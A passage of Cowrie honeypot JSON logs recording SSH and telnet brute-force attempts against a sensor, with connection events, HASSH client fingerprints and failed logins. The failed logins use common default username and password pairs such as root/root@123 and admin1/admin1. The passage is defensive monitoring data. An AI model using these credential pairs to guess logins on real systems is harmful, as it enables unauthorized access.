nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:49.466141Z","src_ip":"91.92.40.153","session":"154393ab5f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:49.998204Z","src_ip":"91.92.40.153","session":"154393ab5f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"instance","message":"login attempt [ubuntu/instance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:50.520779Z","src_ip":"139.99.74.35","session":"36f57ee20ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:51.370031Z","src_ip":"91.92.40.153","session":"154393ab5f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43966,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7413cfaf9e6","protocol":"ssh","message":"New connection: 160.187.174.22:43966 (159.203.135.109:22) [session: e7413cfaf9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:53.055227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:53.059453Z","src_ip":"160.187.174.22","session":"e7413cfaf9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:53.309257Z","src_ip":"160.187.174.22","session":"e7413cfaf9e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:54.064741Z","src_ip":"160.187.174.22","session":"e7413cfaf9e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56544,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fc7faa9d5c","protocol":"ssh","message":"New connection: 91.92.40.153:56544 (10.17.0.5:22) [session: 33fc7faa9d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:54.961734Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:55.397006Z","src_ip":"160.187.174.22","session":"e7413cfaf9e6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:55.468257Z","src_ip":"91.92.40.153","session":"33fc7faa9d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:55.474149Z","src_ip":"91.92.40.153","session":"33fc7faa9d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:56.872523Z","src_ip":"91.92.40.153","session":"33fc7faa9d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.28069496154785,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:57.632212Z","src_ip":"170.64.224.25","session":"9dbd26a2f6c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:58.179705Z","src_ip":"91.92.40.153","session":"33fc7faa9d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.3","message":"Connection lost after 42.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:58.545594Z","src_ip":"139.99.74.35","session":"36f57ee20ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":43576,"dst_ip":"159.203.135.109","dst_port":22,"session":"f194cbffcb42","protocol":"ssh","message":"New connection: 139.99.74.35:43576 (159.203.135.109:22) [session: f194cbffcb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:58.816780Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56578,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f899e55222","protocol":"ssh","message":"New connection: 91.92.40.153:56578 (10.17.0.5:22) [session: 93f899e55222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:01.133350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:01.327036Z","src_ip":"91.92.40.153","session":"93f899e55222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:01.334576Z","src_ip":"91.92.40.153","session":"93f899e55222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:02.448455Z","src_ip":"91.92.40.153","session":"93f899e55222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":40738,"dst_ip":"159.203.135.109","dst_port":22,"session":"25a668791f5c","protocol":"ssh","message":"New connection: 62.133.62.83:40738 (159.203.135.109:22) [session: 25a668791f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:02.574657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:02.579700Z","src_ip":"62.133.62.83","session":"25a668791f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:02.657728Z","src_ip":"62.133.62.83","session":"25a668791f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02051981","message":"login attempt [root/02051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:02.899610Z","src_ip":"62.133.62.83","session":"25a668791f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:03.569986Z","src_ip":"139.99.74.35","session":"f194cbffcb42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":43598,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1884e220e9","protocol":"ssh","message":"New connection: 139.99.74.35:43598 (159.203.135.109:22) [session: dd1884e220e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:03.798857Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:03.980089Z","src_ip":"62.133.62.83","session":"25a668791f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:04.158490Z","src_ip":"91.92.40.153","session":"93f899e55222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":51480,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a8ca886e46","protocol":"telnet","message":"New connection: 167.172.116.158:51480 (159.203.135.109:23) [session: 01a8ca886e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:06.041411Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0abec20e61f","protocol":"ssh","message":"New connection: 91.92.40.153:35130 (10.17.0.5:22) [session: d0abec20e61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:06.901946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:07.181979Z","src_ip":"91.92.40.153","session":"d0abec20e61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:07.185092Z","src_ip":"91.92.40.153","session":"d0abec20e61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:08.590895Z","src_ip":"139.99.74.35","session":"dd1884e220e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50916,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed62035595e","protocol":"ssh","message":"New connection: 139.99.74.35:50916 (159.203.135.109:22) [session: 9ed62035595e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:08.810015Z"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:08.961888Z","src_ip":"91.92.40.153","session":"d0abec20e61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:10.347847Z","src_ip":"91.92.40.153","session":"d0abec20e61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.528780460357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:11.473960Z","src_ip":"170.64.224.25","session":"fc3d47411869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59810,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5877c3d74a","protocol":"ssh","message":"New connection: 91.92.40.153:59810 (10.17.0.5:22) [session: 6a5877c3d74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:12.843741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:13.441032Z","src_ip":"91.92.40.153","session":"6a5877c3d74a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:13.444278Z","src_ip":"91.92.40.153","session":"6a5877c3d74a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:13.591401Z","src_ip":"139.99.74.35","session":"9ed62035595e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50922,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc3942228b0","protocol":"ssh","message":"New connection: 139.99.74.35:50922 (159.203.135.109:22) [session: ccc3942228b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:13.825293Z"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:14.460623Z","src_ip":"91.92.40.153","session":"6a5877c3d74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53914,"dst_ip":"159.203.135.109","dst_port":23,"session":"020407be1cbe","protocol":"telnet","message":"New connection: 170.64.224.25:53914 (159.203.135.109:23) [session: 020407be1cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:15.435185Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:15.696286Z","src_ip":"91.92.40.153","session":"6a5877c3d74a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":35132,"dst_ip":"159.203.135.109","dst_port":22,"session":"6681671788ea","protocol":"ssh","message":"New connection: 108.179.220.174:35132 (159.203.135.109:22) [session: 6681671788ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:16.441333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:16.445947Z","src_ip":"108.179.220.174","session":"6681671788ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 